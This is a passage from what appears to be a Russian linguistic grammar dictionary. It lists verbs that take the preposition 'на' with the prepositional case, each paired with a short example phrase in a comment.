земле rus_verbs:колдовать{}, // колдовать на кухне rus_verbs:отвозить{}, // отвозить на казенном транспорте rus_verbs:трахать{}, // трахать на природе rus_verbs:мастерить{}, // мастерить на кухне rus_verbs:ремонтировать{}, // ремонтировать на коленке rus_verbs:развезти{}, // развезти на велосипеде rus_verbs:робеть{}, // робеть на сцене инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш }, деепричастие:реализовав{}, деепричастие:реализуя{}, rus_verbs:покаяться{}, // покаяться на смертном одре rus_verbs:специализироваться{}, // специализироваться на тестировании rus_verbs:попрыгать{}, // попрыгать на батуте rus_verbs:переписывать{}, // переписывать на столе rus_verbs:расписывать{}, // расписывать на доске rus_verbs:зажимать{}, // зажимать на запястье rus_verbs:практиковаться{}, // практиковаться на мышах rus_verbs:уединиться{}, // уединиться на чердаке rus_verbs:подохнуть{}, // подохнуть на чужбине rus_verbs:приподниматься{}, // приподниматься на руках rus_verbs:уродиться{}, // уродиться на полях rus_verbs:продолжиться{}, // продолжиться на улице rus_verbs:посапывать{}, // посапывать на диване rus_verbs:ободрать{}, // ободрать на спине rus_verbs:скрючиться{}, // скрючиться на песке rus_verbs:тормознуть{}, // тормознуть на перекрестке rus_verbs:лютовать{}, // лютовать на хуторе rus_verbs:зарегистрировать{}, // зарегистрировать на сайте rus_verbs:переждать{}, // переждать на вершине холма rus_verbs:доминировать{}, // доминировать на территории rus_verbs:публиковать{}, // публиковать на сайте rus_verbs:морщить{}, // морщить на лбу rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном rus_verbs:подрабатывать{}, // подрабатывать на рынке rus_verbs:репетировать{}, // репетировать на заднем дворе rus_verbs:подвернуть{}, // подвернуть на брусчатке rus_verbs:зашелестеть{}, // зашелестеть на ветру rus_verbs:расчесывать{}, // расчесывать на спине rus_verbs:одевать{}, // одевать на рынке rus_verbs:испечь{}, // испечь на углях rus_verbs:сбрить{}, // сбрить на затылке rus_verbs:согреться{}, // согреться на печке rus_verbs:замаячить{}, // замаячить на горизонте rus_verbs:пересчитывать{}, // пересчитывать на пальцах rus_verbs:галдеть{}, // галдеть на крыльце rus_verbs:переплыть{}, // переплыть на плоту rus_verbs:передохнуть{}, // передохнуть на скамейке rus_verbs:прижиться{}, // прижиться на ферме rus_verbs:переправляться{}, // переправляться на плотах rus_verbs:накупить{}, // накупить на блошином рынке rus_verbs:проторчать{}, // проторчать на виду rus_verbs:мокнуть{}, // мокнуть на улице rus_verbs:застукать{}, // застукать на камбузе rus_verbs:завязывать{}, // завязывать на ботинках rus_verbs:повисать{}, // повисать на ветке rus_verbs:подвизаться{}, // подвизаться на государственной службе rus_verbs:кормиться{}, // кормиться на болоте rus_verbs:покурить{}, // покурить на улице rus_verbs:зимовать{}, // зимовать на болотах rus_verbs:застегивать{}, // застегивать на гимнастерке rus_verbs:поигрывать{}, // поигрывать на гитаре rus_verbs:погореть{}, // погореть на махинациях с землей rus_verbs:кувыркаться{}, // кувыркаться на батуте rus_verbs:похрапывать{}, // похрапывать на диване rus_verbs:пригревать{}, // пригревать на груди rus_verbs:завязнуть{}, // завязнуть на болоте rus_verbs:шастать{}, // шастать на втором этаже rus_verbs:заночевать{}, // заночевать на сеновале rus_verbs:отсиживаться{}, // отсиживаться на чердаке rus_verbs:мчать{}, // мчать на байке rus_verbs:сгнить{}, // сгнить на урановых рудниках rus_verbs:тренировать{}, // тренировать на манекенах rus_verbs:повеселиться{}, // повеселиться на празднике rus_verbs:измучиться{}, // измучиться на болоте rus_verbs:увянуть{}, // увянуть на подоконнике rus_verbs:раскрутить{}, // раскрутить на оси rus_verbs:выцвести{}, // выцвести на солнечном свету rus_verbs:изготовлять{}, // изготовлять на коленке rus_verbs:гнездиться{}, // гнездиться на вершине дерева rus_verbs:разогнаться{}, // разогнаться на мотоцикле rus_verbs:излагаться{}, // излагаться на страницах доклада rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге rus_verbs:расчесать{}, // расчесать на макушке rus_verbs:плавиться{}, // плавиться на солнце rus_verbs:редактировать{}, // редактировать на ноутбуке rus_verbs:подскакивать{}, // подскакивать на месте rus_verbs:покупаться{}, // покупаться на рынке rus_verbs:промышлять{}, // промышлять на мелководье rus_verbs:приобретаться{}, // приобретаться на распродажах rus_verbs:наигрывать{}, // наигрывать на банджо rus_verbs:маневрировать{}, // маневрировать на флангах rus_verbs:запечатлеться{}, // запечатлеться на записях камер rus_verbs:укрывать{}, // укрывать на чердаке rus_verbs:подорваться{}, // подорваться на фугасе rus_verbs:закрепиться{}, // закрепиться на занятых позициях rus_verbs:громыхать{}, // громыхать на кухне инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу деепричастие:подвигавшись{}, rus_verbs:добываться{}, // добываться на территории Анголы rus_verbs:приплясывать{}, // приплясывать на сцене rus_verbs:доживать{}, // доживать на больничной койке rus_verbs:отпраздновать{}, // отпраздновать на работе rus_verbs:сгубить{}, // сгубить на корню rus_verbs:схоронить{}, // схоронить на кладбище rus_verbs:тускнеть{}, // тускнеть на солнце rus_verbs:скопить{}, // скопить на счету rus_verbs:помыть{}, // помыть на своем этаже rus_verbs:пороть{}, // пороть на конюшне rus_verbs:наличествовать{}, // наличествовать на складе rus_verbs:нащупывать{}, // нащупывать на полке rus_verbs:змеиться{}, // змеиться на дне rus_verbs:пожелтеть{}, // пожелтеть на солнце rus_verbs:заостриться{}, // заостриться на конце rus_verbs:свезти{}, // свезти на поле rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре rus_verbs:подкрутить{}, // подкрутить на приборной панели rus_verbs:рубиться{}, // рубиться на мечах rus_verbs:сиживать{}, // сиживать на крыльце rus_verbs:тараторить{}, // тараторить на иностранном языке rus_verbs:теплеть{}, // теплеть на сердце rus_verbs:покачаться{}, // покачаться на ветке rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче rus_verbs:развязывать{}, // развязывать на ботинках rus_verbs:подвозить{}, // подвозить на мотороллере rus_verbs:вышивать{}, // вышивать на рубашке rus_verbs:скупать{}, // скупать на открытом рынке rus_verbs:оформлять{}, // оформлять на встрече rus_verbs:распускаться{}, // распускаться на клумбах rus_verbs:прогореть{}, // прогореть на спекуляциях rus_verbs:приползти{}, // приползти на коленях rus_verbs:загореть{}, // загореть на пляже rus_verbs:остудить{}, // остудить на балконе rus_verbs:нарвать{}, // нарвать на поляне rus_verbs:издохнуть{}, // издохнуть на болоте rus_verbs:разгружать{}, // разгружать на дороге rus_verbs:произрастать{}, // произрастать на болотах rus_verbs:разуться{}, // разуться на коврике rus_verbs:сооружать{}, // сооружать на площади rus_verbs:зачитывать{}, // зачитывать на митинге rus_verbs:уместиться{}, // уместиться на ладони rus_verbs:закупить{}, // закупить на рынке rus_verbs:горланить{}, // горланить на улице rus_verbs:экономить{}, // экономить на спичках rus_verbs:исправлять{}, // исправлять на доске rus_verbs:расслабляться{}, // расслабляться на лежаке rus_verbs:скапливаться{}, // скапливаться на крыше rus_verbs:сплетничать{}, // сплетничать на скамеечке rus_verbs:отъезжать{}, // отъезжать на лимузине rus_verbs:отчитывать{}, // отчитывать на собрании rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке rus_verbs:потчевать{}, // потчевать на лаврах rus_verbs:окопаться{}, // окопаться на окраине rus_verbs:загорать{}, // загорать на пляже rus_verbs:обгореть{}, // обгореть на солнце rus_verbs:распознавать{}, // распознавать на фотографии rus_verbs:заплетаться{}, // заплетаться на макушке rus_verbs:перегреться{}, // перегреться на жаре rus_verbs:подметать{}, // подметать на крыльце rus_verbs:нарисоваться{}, // нарисоваться на горизонте rus_verbs:проскакивать{}, // проскакивать на экране rus_verbs:попивать{}, // попивать на балконе чай rus_verbs:отплывать{}, // отплывать на лодке rus_verbs:чирикать{}, // чирикать на ветках rus_verbs:скупить{}, // скупить на оптовых базах rus_verbs:наколоть{}, // наколоть на коже картинку rus_verbs:созревать{}, // созревать на ветке rus_verbs:проколоться{}, // проколоться на мелочи rus_verbs:крутнуться{}, // крутнуться на заднем колесе rus_verbs:переночевать{}, // переночевать на постоялом дворе rus_verbs:концентрироваться{}, // концентрироваться на фильтре rus_verbs:одичать{}, // одичать на хуторе rus_verbs:спасаться{}, // спасаются на лодке rus_verbs:доказываться{}, // доказываться на страницах книги rus_verbs:познаваться{}, // познаваться на ринге rus_verbs:замыкаться{}, // замыкаться на металлическом предмете rus_verbs:заприметить{}, // заприметить на пригорке rus_verbs:продержать{}, // продержать на морозе rus_verbs:форсировать{}, // форсировать на плотах rus_verbs:сохнуть{}, // сохнуть на солнце rus_verbs:выявить{}, // выявить на поверхности rus_verbs:заседать{}, // заседать на кафедре rus_verbs:расплачиваться{}, // расплачиваться на выходе rus_verbs:светлеть{}, // светлеть на горизонте rus_verbs:залепетать{}, // залепетать на незнакомом языке rus_verbs:подсчитывать{}, // подсчитывать на пальцах rus_verbs:зарыть{}, // зарыть на пустыре rus_verbs:сформироваться{}, // сформироваться на месте rus_verbs:развертываться{}, // развертываться на площадке rus_verbs:набивать{}, // набивать на манекенах rus_verbs:замерзать{}, // замерзать на ветру rus_verbs:схватывать{}, // схватывать на лету rus_verbs:перевестись{}, // перевестись на Руси rus_verbs:смешивать{}, // смешивать на блюдце rus_verbs:прождать{}, // прождать на входе rus_verbs:мерзнуть{}, // мерзнуть на ветру rus_verbs:растирать{}, // растирать на коже rus_verbs:переспать{}, // переспал на сеновале rus_verbs:рассекать{}, // рассекать на скутере rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне rus_verbs:дрыхнуть{}, // дрыхнуть на диване rus_verbs:распять{}, // распять на кресте rus_verbs:запечься{}, // запечься на костре rus_verbs:застилать{}, // застилать на балконе rus_verbs:сыскаться{}, // сыскаться на огороде rus_verbs:разориться{}, // разориться на продаже спичек rus_verbs:переделать{}, // переделать на станке rus_verbs:разъяснять{}, // разъяснять на страницах газеты rus_verbs:поседеть{}, // поседеть на висках rus_verbs:протащить{}, // протащить на спине rus_verbs:осуществиться{}, // осуществиться на деле rus_verbs:селиться{}, // селиться на окраине rus_verbs:оплачивать{}, // оплачивать на первой кассе rus_verbs:переворачивать{}, // переворачивать на сковородке rus_verbs:упражняться{}, // упражняться на батуте rus_verbs:испробовать{}, // испробовать на себе rus_verbs:разгладиться{}, // разгладиться на спине rus_verbs:рисоваться{}, // рисоваться на стекле rus_verbs:продрогнуть{}, // продрогнуть на морозе rus_verbs:пометить{}, // пометить на доске rus_verbs:приютить{}, // приютить на чердаке rus_verbs:избирать{}, // избирать на первых свободных выборах rus_verbs:затеваться{}, // затеваться на матче rus_verbs:уплывать{}, // уплывать на катере rus_verbs:замерцать{}, // замерцать на рекламном щите rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне rus_verbs:запираться{}, // запираться на чердаке rus_verbs:загубить{}, // загубить на корню rus_verbs:развеяться{}, // развеяться на природе rus_verbs:съезжаться{}, // съезжаться на лимузинах rus_verbs:потанцевать{}, // потанцевать на могиле rus_verbs:дохнуть{}, // дохнуть на солнце rus_verbs:припарковаться{}, // припарковаться на газоне rus_verbs:отхватить{}, // отхватить на распродаже rus_verbs:остывать{}, // остывать на улице rus_verbs:переваривать{}, // переваривать на высокой ветке rus_verbs:подвесить{}, // подвесить на веревке rus_verbs:хвастать{}, // хвастать на работе rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая rus_verbs:разлечься{}, // разлечься на полу rus_verbs:очертить{}, // очертить на полу rus_verbs:председательствовать{}, // председательствовать на собрании rus_verbs:сконфузиться{}, // сконфузиться на сцене rus_verbs:выявляться{}, // выявляться на ринге rus_verbs:крутануться{}, // крутануться на заднем колесе rus_verbs:караулить{}, // караулить на входе rus_verbs:перечислять{}, // перечислять на пальцах rus_verbs:обрабатывать{}, // обрабатывать на станке rus_verbs:настигать{}, // настигать на берегу rus_verbs:разгуливать{}, // разгуливать на берегу rus_verbs:насиловать{}, // насиловать на пляже rus_verbs:поредеть{}, // поредеть на макушке rus_verbs:учитывать{}, // учитывать на балансе rus_verbs:зарождаться{}, // зарождаться на большой глубине rus_verbs:распространять{}, // распространять на сайтах rus_verbs:пировать{}, // пировать на вершине холма rus_verbs:начертать{}, // начертать на стене rus_verbs:расцветать{}, // расцветать на подоконнике rus_verbs:умнеть{}, // умнеть на глазах rus_verbs:царствовать{}, // царствовать на окраине rus_verbs:закрутиться{}, // закрутиться на работе rus_verbs:отработать{}, // отработать на шахте rus_verbs:полечь{}, // полечь на поле брани rus_verbs:щебетать{}, // щебетать на ветке rus_verbs:подчеркиваться{}, // подчеркиваться на сайте rus_verbs:посеять{}, // посеять на другом поле rus_verbs:замечаться{}, // замечаться на пастбище rus_verbs:просчитать{}, // просчитать на пальцах rus_verbs:голосовать{}, // голосовать на трассе rus_verbs:маяться{}, // маяться на пляже rus_verbs:сколотить{}, // сколотить на службе rus_verbs:обретаться{}, // обретаться на чужбине rus_verbs:обливаться{}, // обливаться на улице rus_verbs:катать{}, // катать на лошадке rus_verbs:припрятать{}, // припрятать на теле rus_verbs:запаниковать{}, // запаниковать на экзамене инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете деепричастие:слетав{}, rus_verbs:срубить{}, // срубить денег на спекуляциях rus_verbs:зажигаться{}, // зажигаться на улице rus_verbs:жарить{}, // жарить на углях rus_verbs:накапливаться{}, // накапливаться на счету rus_verbs:распуститься{}, // распуститься на грядке rus_verbs:рассаживаться{}, // рассаживаться на местах rus_verbs:странствовать{}, // странствовать на лошади rus_verbs:осматриваться{}, // осматриваться на месте rus_verbs:разворачивать{}, // разворачивать на завоеванной территории rus_verbs:согревать{}, // согревать на вершине горы rus_verbs:заскучать{}, // заскучать на вахте rus_verbs:перекусить{}, // перекусить на бегу rus_verbs:приплыть{}, // приплыть на тримаране rus_verbs:зажигать{}, // зажигать на танцах rus_verbs:закопать{}, // закопать на поляне rus_verbs:стирать{}, // стирать на берегу rus_verbs:подстерегать{}, // подстерегать на подходе rus_verbs:погулять{}, // погулять на свадьбе rus_verbs:огласить{}, // огласить на митинге rus_verbs:разбогатеть{}, // разбогатеть на прииске rus_verbs:грохотать{}, // грохотать на чердаке rus_verbs:расположить{}, // расположить на границе rus_verbs:реализоваться{}, // реализоваться на новой работе rus_verbs:застывать{}, // застывать на морозе rus_verbs:запечатлеть{}, // запечатлеть на пленке rus_verbs:тренироваться{}, // тренироваться на манекене rus_verbs:поспорить{}, // поспорить на совещании rus_verbs:затягивать{}, // затягивать на поясе rus_verbs:зиждиться{}, // зиждиться на твердой основе rus_verbs:построиться{}, // построиться на песке rus_verbs:надрываться{}, // надрываться на работе rus_verbs:закипать{}, // закипать на плите rus_verbs:затонуть{}, // затонуть на мелководье rus_verbs:побыть{}, // побыть на фазенде rus_verbs:сгорать{}, // сгорать на солнце инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице деепричастие:пописав{ aux stress="поп^исав" }, rus_verbs:подраться{}, // подраться на сцене rus_verbs:заправить{}, // заправить на последней заправке rus_verbs:обозначаться{}, // обозначаться на карте rus_verbs:просиживать{}, // просиживать на берегу rus_verbs:начертить{}, // начертить на листке rus_verbs:тормозить{}, // тормозить на льду rus_verbs:затевать{}, // затевать на космической базе rus_verbs:задерживать{}, // задерживать на таможне rus_verbs:прилетать{}, // прилетать на частном самолете rus_verbs:полулежать{}, // полулежать на травке rus_verbs:ерзать{}, // ерзать на табуретке rus_verbs:покопаться{}, // покопаться на складе rus_verbs:подвезти{}, // подвезти на машине rus_verbs:полежать{}, // полежать на водном матрасе rus_verbs:стыть{}, // стыть на улице rus_verbs:стынуть{}, // стынуть на улице rus_verbs:скреститься{}, // скреститься на груди rus_verbs:припарковать{}, // припарковать на стоянке rus_verbs:здороваться{}, // здороваться на кафедре rus_verbs:нацарапать{}, // нацарапать на парте rus_verbs:откопать{}, // откопать на поляне rus_verbs:смастерить{}, // смастерить на коленках rus_verbs:довезти{}, // довезти на машине rus_verbs:избивать{}, // избивать на крыше rus_verbs:сварить{}, // сварить на костре rus_verbs:истребить{}, // истребить на корню rus_verbs:раскопать{}, // раскопать на болоте rus_verbs:попить{}, // попить на кухне rus_verbs:заправлять{}, // заправлять на базе rus_verbs:кушать{}, // кушать на кухне rus_verbs:замолкать{}, // замолкать на половине фразы rus_verbs:измеряться{}, // измеряться на весах rus_verbs:сбываться{}, // сбываться на самом деле rus_verbs:изображаться{}, // изображается на сцене rus_verbs:фиксировать{}, // фиксировать на данной высоте rus_verbs:ослаблять{}, // ослаблять на шее rus_verbs:зреть{}, // зреть на грядке rus_verbs:зеленеть{}, // зеленеть на грядке rus_verbs:критиковать{}, // критиковать на страницах газеты rus_verbs:облететь{}, // облететь на самолете rus_verbs:заразиться{}, // заразиться на работе rus_verbs:рассеять{}, // рассеять на территории rus_verbs:печься{}, // печься на костре rus_verbs:поспать{}, // поспать на земле rus_verbs:сплетаться{}, // сплетаться на макушке rus_verbs:удерживаться{}, // удерживаться на расстоянии rus_verbs:помешаться{}, // помешаться на чистоте rus_verbs:ликвидировать{}, // ликвидировать на полигоне rus_verbs:проваляться{}, // проваляться на диване rus_verbs:лечиться{}, // лечиться на дому rus_verbs:обработать{}, // обработать на станке rus_verbs:защелкнуть{}, // защелкнуть на руках rus_verbs:разносить{}, // разносить на одежде rus_verbs:чесать{}, // чесать на груди rus_verbs:наладить{}, // наладить на конвейере выпуск rus_verbs:отряхнуться{}, // отряхнуться на улице rus_verbs:разыгрываться{}, // разыгрываться на скачках rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях rus_verbs:греться{}, // греться на вокзале rus_verbs:засидеться{}, // засидеться на одном месте rus_verbs:материализоваться{}, // материализоваться на границе rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин rus_verbs:перевозить{}, // перевозить на платформе rus_verbs:поиграть{}, // поиграть на скрипке rus_verbs:потоптаться{}, // потоптаться на одном месте rus_verbs:переправиться{}, // переправиться на плоту rus_verbs:забрезжить{}, // забрезжить на горизонте rus_verbs:завывать{}, // завывать на опушке rus_verbs:заваривать{}, // заваривать на кухоньке rus_verbs:перемещаться{}, // перемещаться на спасательном плоту инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке rus_verbs:праздновать{}, // праздновать на улицах rus_verbs:обучить{}, // обучить на корте rus_verbs:орудовать{}, // орудовать на складе rus_verbs:подрасти{}, // подрасти на глядке rus_verbs:шелестеть{}, // шелестеть на ветру rus_verbs:раздеваться{}, // раздеваться на публике rus_verbs:пообедать{}, // пообедать на газоне rus_verbs:жрать{}, // жрать на помойке rus_verbs:исполняться{}, // исполняться на флейте rus_verbs:похолодать{}, // похолодать на улице rus_verbs:гнить{}, // гнить на каторге rus_verbs:прослушать{}, // прослушать на концерте rus_verbs:совещаться{}, // совещаться на заседании rus_verbs:покачивать{}, // покачивать на волнах rus_verbs:отсидеть{}, // отсидеть на гаупвахте rus_verbs:формировать{}, // формировать на секретной базе rus_verbs:захрапеть{}, // захрапеть на кровати rus_verbs:объехать{}, // объехать на попутке rus_verbs:поселить{}, // поселить на верхних этажах rus_verbs:заворочаться{}, // заворочаться на сене rus_verbs:напрятать{}, // напрятать на теле rus_verbs:очухаться{}, // очухаться на земле rus_verbs:полистать{}, // полистать на досуге rus_verbs:завертеть{}, // завертеть на шесте rus_verbs:печатать{}, // печатать на ноуте rus_verbs:отыскаться{}, // отыскаться на складе rus_verbs:зафиксировать{}, // зафиксировать на пленке rus_verbs:расстилаться{}, // расстилаться на столе rus_verbs:заместить{}, // заместить на посту rus_verbs:угасать{}, // угасать на неуправляемом корабле rus_verbs:сразить{}, // сразить на ринге rus_verbs:расплываться{}, // расплываться на жаре rus_verbs:сосчитать{}, // сосчитать на пальцах rus_verbs:сгуститься{}, // сгуститься на небольшой высоте rus_verbs:цитировать{}, // цитировать на плите rus_verbs:ориентироваться{}, // ориентироваться на местности rus_verbs:расширить{}, // расширить на другом конце rus_verbs:обтереть{}, // обтереть на стоянке rus_verbs:подстрелить{}, // подстрелить на охоте rus_verbs:растереть{}, // растереть на твердой поверхности rus_verbs:подавлять{}, // подавлять на первом этапе rus_verbs:смешиваться{}, // смешиваться на поверхности // инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте // деепричастие:вычитав{}, rus_verbs:сократиться{}, // сократиться на втором этапе rus_verbs:занервничать{}, // занервничать на экзамене rus_verbs:соприкоснуться{}, // соприкоснуться на трассе rus_verbs:обозначить{}, // обозначить на плане rus_verbs:обучаться{}, // обучаться на производстве rus_verbs:снизиться{}, // снизиться на большой высоте rus_verbs:простудиться{}, // простудиться на ветру rus_verbs:поддерживаться{}, // поддерживается на встрече rus_verbs:уплыть{}, // уплыть на лодочке rus_verbs:резвиться{}, // резвиться на песочке rus_verbs:поерзать{}, // поерзать на скамеечке rus_verbs:похвастаться{}, // похвастаться на встрече rus_verbs:знакомиться{}, // знакомиться на уроке rus_verbs:проплывать{}, // проплывать на катере rus_verbs:засесть{}, // засесть на чердаке rus_verbs:подцепить{}, // подцепить на дискотеке rus_verbs:обыскать{}, // обыскать на входе rus_verbs:оправдаться{}, // оправдаться на суде rus_verbs:раскрываться{}, // раскрываться на сцене rus_verbs:одеваться{}, // одеваться на вещевом рынке rus_verbs:засветиться{}, // засветиться на фотографиях rus_verbs:употребляться{}, // употребляться на птицефабриках rus_verbs:грабить{}, // грабить на пустыре rus_verbs:гонять{}, // гонять на повышенных оборотах rus_verbs:развеваться{}, // развеваться на древке rus_verbs:основываться{}, // основываться на безусловных фактах rus_verbs:допрашивать{}, // допрашивать на базе rus_verbs:проработать{}, // проработать на стройке rus_verbs:сосредоточить{}, // сосредоточить на месте rus_verbs:сочинять{}, // сочинять на ходу rus_verbs:ползать{}, // ползать на камне rus_verbs:раскинуться{}, // раскинуться на пустыре rus_verbs:уставать{}, // уставать на работе rus_verbs:укрепить{}, // укрепить на конце rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь rus_verbs:одобрять{}, // одобрять на словах rus_verbs:приговорить{}, // приговорить на заседании тройки rus_verbs:чернеть{}, // чернеть на свету rus_verbs:гнуть{}, // гнуть на станке rus_verbs:размещаться{}, // размещаться на бирже rus_verbs:соорудить{}, // соорудить на даче rus_verbs:пастись{}, // пастись на лугу rus_verbs:формироваться{}, // формироваться на дне rus_verbs:таить{}, // таить на дне rus_verbs:приостановиться{}, // приостановиться на середине rus_verbs:топтаться{}, // топтаться на месте rus_verbs:громить{}, // громить на подступах rus_verbs:вычислить{}, // вычислить на бумажке rus_verbs:заказывать{}, // заказывать на сайте rus_verbs:осуществить{}, // осуществить на практике rus_verbs:обосноваться{}, // обосноваться на верхушке rus_verbs:пытать{}, // пытать на электрическом стуле rus_verbs:совершиться{}, // совершиться на заседании rus_verbs:свернуться{}, // свернуться на медленном огне rus_verbs:пролетать{}, // пролетать на дельтаплане rus_verbs:сбыться{}, // сбыться на самом деле rus_verbs:разговориться{}, // разговориться на уроке rus_verbs:разворачиваться{}, // разворачиваться на перекрестке rus_verbs:преподнести{}, // преподнести на блюдечке rus_verbs:напечатать{}, // напечатать на лазернике rus_verbs:прорвать{}, // прорвать на периферии rus_verbs:раскачиваться{}, // раскачиваться на доске rus_verbs:задерживаться{}, // задерживаться на старте rus_verbs:угощать{}, // угощать на вечеринке rus_verbs:шарить{}, // шарить на столе rus_verbs:увеличивать{}, // увеличивать на первом этапе rus_verbs:рехнуться{}, // рехнуться на старости лет rus_verbs:расцвести{}, // расцвести на грядке rus_verbs:закипеть{}, // закипеть на плите rus_verbs:подлететь{}, // подлететь на параплане rus_verbs:рыться{}, // рыться на свалке rus_verbs:добираться{}, // добираться на попутках rus_verbs:продержаться{}, // продержаться на вершине rus_verbs:разыскивать{}, // разыскивать на выставках rus_verbs:освобождать{}, // освобождать на заседании rus_verbs:передвигаться{}, // передвигаться на самокате rus_verbs:проявиться{}, // проявиться на свету rus_verbs:заскользить{}, // заскользить на льду rus_verbs:пересказать{}, // пересказать на сцене студенческого театра rus_verbs:протестовать{}, // протестовать на улице rus_verbs:указываться{}, // указываться на табличках rus_verbs:прискакать{}, // прискакать на лошадке rus_verbs:копошиться{}, // копошиться на свежем воздухе rus_verbs:подсчитать{}, // подсчитать на бумажке rus_verbs:разволноваться{}, // разволноваться на экзамене rus_verbs:завертеться{}, // завертеться на полу rus_verbs:ознакомиться{}, // ознакомиться на ходу rus_verbs:ржать{}, // ржать на уроке rus_verbs:раскинуть{}, // раскинуть на грядках rus_verbs:разгромить{}, // разгромить на ринге rus_verbs:подслушать{}, // подслушать на совещании rus_verbs:описываться{}, // описываться на страницах книги rus_verbs:качаться{}, // качаться на стуле rus_verbs:усилить{}, // усилить на флангах rus_verbs:набросать{}, // набросать на клочке картона rus_verbs:расстреливать{}, // расстреливать на подходе rus_verbs:запрыгать{}, // запрыгать на одной ноге rus_verbs:сыскать{}, // сыскать на чужбине rus_verbs:подтвердиться{}, // подтвердиться на практике rus_verbs:плескаться{}, // плескаться на мелководье rus_verbs:расширяться{}, // расширяться на конце rus_verbs:подержать{}, // подержать на солнце rus_verbs:планироваться{}, // планироваться на общем собрании rus_verbs:сгинуть{}, // сгинуть на чужбине rus_verbs:замкнуться{}, // замкнуться на точке rus_verbs:закачаться{}, // закачаться на ветру rus_verbs:перечитывать{}, // перечитывать на ходу rus_verbs:перелететь{}, // перелететь на дельтаплане rus_verbs:оживать{}, // оживать на солнце rus_verbs:женить{}, // женить на богатой невесте rus_verbs:заглохнуть{}, // заглохнуть на старте rus_verbs:копаться{}, // копаться на полу rus_verbs:развлекаться{}, // развлекаться на дискотеке rus_verbs:печататься{}, // печататься на струйном принтере rus_verbs:обрываться{}, // обрываться на полуслове rus_verbs:ускакать{}, // ускакать на лошадке rus_verbs:подписывать{}, // подписывать на столе rus_verbs:добывать{}, // добывать на выработке rus_verbs:скопиться{}, // скопиться на выходе rus_verbs:повстречать{}, // повстречать на пути rus_verbs:поцеловаться{}, // поцеловаться на площади rus_verbs:растянуть{}, // растянуть на столе rus_verbs:подаваться{}, // подаваться на благотворительном обеде rus_verbs:повстречаться{}, // повстречаться на митинге rus_verbs:примоститься{}, // примоститься на ступеньках rus_verbs:отразить{}, // отразить на страницах доклада rus_verbs:пояснять{}, // пояснять на страницах приложения rus_verbs:накормить{}, // накормить на кухне rus_verbs:поужинать{}, // поужинать на веранде инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге деепричастие:спев{}, инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить на мелководье rus_verbs:освоить{}, // освоить на практике rus_verbs:распластаться{}, // распластаться на травке rus_verbs:отплыть{}, // отплыть на старом каяке rus_verbs:улетать{}, // улетать на любом самолете rus_verbs:отстаивать{}, // отстаивать на корте rus_verbs:осуждать{}, // осуждать на словах rus_verbs:переговорить{}, // переговорить на обеде rus_verbs:укрыть{}, // укрыть на чердаке rus_verbs:томиться{}, // томиться на привязи rus_verbs:сжигать{}, // сжигать на полигоне rus_verbs:позавтракать{}, // позавтракать на лоне природы rus_verbs:функционировать{}, // функционирует на солнечной энергии rus_verbs:разместить{}, // разместить на сайте rus_verbs:пронести{}, // пронести на теле rus_verbs:нашарить{}, // нашарить на столе rus_verbs:корчиться{}, // корчиться на полу rus_verbs:распознать{}, // распознать на снимке rus_verbs:повеситься{}, // повеситься на шнуре rus_verbs:обозначиться{}, // обозначиться на картах rus_verbs:оступиться{}, // оступиться на скользком льду rus_verbs:подносить{}, // подносить на блюдечке rus_verbs:расстелить{}, // расстелить на газоне rus_verbs:обсуждаться{}, // обсуждаться на собрании rus_verbs:расписаться{}, // расписаться на бланке rus_verbs:плестись{}, // плестись на привязи rus_verbs:объявиться{}, // объявиться на сцене rus_verbs:повышаться{}, // повышаться на первом датчике rus_verbs:разрабатывать{}, // разрабатывать на заводе rus_verbs:прерывать{}, // прерывать на середине rus_verbs:каяться{}, // каяться на публике rus_verbs:освоиться{}, // освоиться на лошади rus_verbs:подплыть{}, // подплыть на плоту rus_verbs:оскорбить{}, // оскорбить на митинге rus_verbs:торжествовать{}, // торжествовать на пьедестале rus_verbs:поправлять{}, // поправлять на одежде rus_verbs:отражать{}, // отражать на картине rus_verbs:дремать{}, // дремать на кушетке rus_verbs:применяться{}, // применяться на производстве стали rus_verbs:поражать{}, // поражать на большой дистанции rus_verbs:расстрелять{}, // расстрелять на окраине хутора rus_verbs:рассчитать{}, // рассчитать на калькуляторе rus_verbs:записывать{}, // записывать на ленте rus_verbs:перебирать{}, // перебирать на ладони rus_verbs:разбиться{}, // разбиться на катере rus_verbs:поискать{}, // поискать на ферме rus_verbs:прятать{}, // прятать на заброшенном складе rus_verbs:пропеть{}, // пропеть на эстраде rus_verbs:замелькать{}, // замелькать на экране rus_verbs:грустить{}, // грустить на веранде rus_verbs:крутить{}, // крутить на оси rus_verbs:подготовить{}, // подготовить на конспиративной квартире rus_verbs:различать{}, // различать на картинке rus_verbs:киснуть{}, // киснуть на чужбине rus_verbs:оборваться{}, // оборваться на полуслове rus_verbs:запутаться{}, // запутаться на простейшем тесте rus_verbs:общаться{}, // общаться на уроке rus_verbs:производиться{}, // производиться на фабрике rus_verbs:сочинить{}, // сочинить на досуге rus_verbs:давить{}, // давить на лице rus_verbs:разработать{}, // разработать на секретном предприятии rus_verbs:качать{}, // качать на качелях rus_verbs:тушить{}, // тушить на крыше пожар rus_verbs:охранять{}, // охранять на территории базы rus_verbs:приметить{}, // приметить на 